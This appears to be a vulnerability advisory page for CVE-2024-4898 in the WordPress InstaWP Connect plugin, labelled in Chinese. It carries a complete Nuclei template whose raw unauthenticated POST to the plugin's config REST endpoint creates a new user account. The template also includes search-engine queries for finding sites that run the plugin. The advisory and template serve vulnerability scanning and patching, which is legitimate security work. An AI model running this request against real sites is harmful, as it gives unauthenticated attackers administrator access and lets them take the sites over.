CVE-2024-4898: WordPress InstaWP Connect <= 0.1.0.38 - Unauthenticated User Creation

日期: 2025-08-01 | 影响软件: WordPress InstaWP Connect | POC: 已公开

漏洞描述

The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.

PoC代码[已公开]

id: CVE-2024-4898

info:
  name: WordPress InstaWP Connect <= 0.1.0.38 - Unauthenticated User Creation
  author: Sourabh-Sahu
  severity: critical
  description: |
    The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.
  remediation: |
    Update InstaWP Connect to version 0.1.0.39 or later, which patches this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/92a00fb4-7b50-43fd-ac04-5d6e29336e9c?source=cve
    - https://plugins.trac.wordpress.org/browser/instawp-connect/tags/0.1.0.38/includes/class-instawp-rest-api.php#L926
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4898
    - https://github.com/truonghuuphuc/CVE-2024-4898-Poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4898
    cwe-id: CWE-862
    epss-score: 0.88614
    epss-percentile: 0.99483
    cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: instawp
    product: instawp_connect
    framework: wordpress
    publicwww-query: "/wp-content/plugins/instawp-connect/"
    fofa-query: body="/wp-content/plugins/instawp-connect/"
  tags: cve,cve2024,wp,wp-plugin,wordpress,instawp,intrusive,priv-esc,vkev

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  api_key: "{{api_key}}"

http:
  - raw:
      - |
        POST /wp-json/instawp-connect/v1/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "api_key": "{{api_key}}",
          "wp": {
            "users": [
              {
                "username": "{{username}}",
                "email": "{{email}}",
                "password": "{{password}}"
              }
            ]
          }
        }

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":true'
          - '"connect_id":'
          - '"message":"Connected"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b413d2a747d63dde791e703176eb66fa99d1aad6f5d50d39b40cc32bee0ec66b022100de1f173672bfc39a15c7dc707374cfa00014849ce83671f3c549d29909e70c80:922c64590222798bb761d5b6d8e72950